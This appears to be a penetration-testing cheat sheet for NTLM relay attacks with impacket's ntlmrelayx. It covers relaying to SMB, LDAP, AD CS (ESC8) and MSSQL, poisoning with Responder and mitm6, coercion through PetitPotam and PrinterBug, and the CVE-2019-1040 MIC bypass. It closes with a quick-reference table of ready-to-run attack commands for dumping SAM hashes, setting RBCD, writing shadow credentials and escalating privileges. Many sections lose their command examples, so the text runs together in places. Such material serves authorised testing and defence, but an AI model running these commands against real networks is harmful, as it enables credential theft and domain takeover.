Overview
ntlmrelayx intercepts NTLM authentication and relays it to a target service, executing actions with the victim’s privileges. It does not crack passwords — it forwards the live authentication handshake to a different host.
Works against targets where SMB signing is not required (for SMB relay) or where LDAP/HTTP/MSSQL accept NTLM.
Enumerate Relay Targets
Before relaying, identify hosts that do not require SMB signing.Basic Relay to SMB
Relay captured NTLM auth to SMB on another host. Dumps SAM hashes by default if the relayed user is a local admin.Relay to LDAP
Relaying to LDAP allows domain-level attacks: creating machine accounts, setting RBCD, writing shadow credentials, or modifying ACLs. Requires the relayed account to have the necessary privileges (e.g., domain admin, or any user ifms-DS-MachineAccountQuota > 0).
Add a Computer Account
Resource-Based Constrained Delegation (RBCD)
WritemsDS-AllowedToActOnBehalfOfOtherIdentity on the target so your controlled computer can impersonate any user to the target.
Shadow Credentials
WritemsDS-KeyCredentialLink to obtain a certificate for the relayed machine account, then request a TGT.
ACL Abuse (Escalate User)
Grant a controlled user DCSync or other privileges.Relay to AD CS (ESC8)
If AD CS has the HTTP enrollment endpoint enabled, relay NTLM auth to request a certificate as the victim.certipy or impacket-getTGT:
Relay to MSSQL
Execute SQL queries through a relayed NTLM session.Targets File (-tf)
The targets file supports protocols and multiple hosts.Combine with Responder
Responder poisons LLMNR/NBT-NS/mDNS to capture NTLM authentication. Disable SMB and HTTP in Responder so ntlmrelayx receives the connections instead.Combine with PetitPotam / PrinterBug
Coerce a machine account to authenticate to your relay server. Machine account auth is useful for RBCD, shadow credentials, and AD CS attacks.PetitPotam (MS-EFSRPC)
PrinterBug (MS-RPRN)
SOCKS Proxy Mode
Keep relayed sessions alive and interact with them through a SOCKS proxy. Useful for maintaining access across multiple relayed sessions.IPv6 Attack with mitm6
mitm6 poisons DHCPv6 and DNS to redirect NTLM auth from IPv6-enabled Windows hosts.-6 flag enables IPv6 listening. The -wh flag sets up a WPAD server to trigger proxy authentication.
Remove MIC (CVE-2019-1040)
The Message Integrity Code (MIC) prevents relay modification. Removing it bypasses this protection on unpatched targets.AUTHENTICATE_MESSAGE, allowing the relay to succeed against targets vulnerable to CVE-2019-1040 (pre-June 2019 patches).
Quick Reference
| Task | Command |
|---|---|
| Relay to SMB (dump SAM) | impacket-ntlmrelayx -tf targets.txt -smb2support |
| Relay to SMB (exec command) | impacket-ntlmrelayx -t smb://HOST -c "cmd" |
| Relay to LDAP (add computer) | impacket-ntlmrelayx -t ldap://DC --add-computer |
| Relay to LDAP (RBCD) | impacket-ntlmrelayx -t ldap://DC --delegate-access --escalate-user PC$ |
| Relay to LDAP (shadow creds) | impacket-ntlmrelayx -t ldap://DC --shadow-credentials --shadow-target TARGET$ |
| Relay to AD CS (ESC8) | impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template Machine |
| Relay to MSSQL | impacket-ntlmrelayx -t mssql://HOST -q "SELECT SYSTEM_USER" |
| SOCKS mode | impacket-ntlmrelayx -tf targets.txt -socks |
| IPv6 + LDAP relay | impacket-ntlmrelayx -6 -t ldaps://DC -wh wpad.corp.local |
| Remove MIC (CVE-2019-1040) | impacket-ntlmrelayx -t ldap://DC --remove-mic |
| Gen relay targets (nxc) | nxc smb SUBNET --gen-relay-list targets.txt |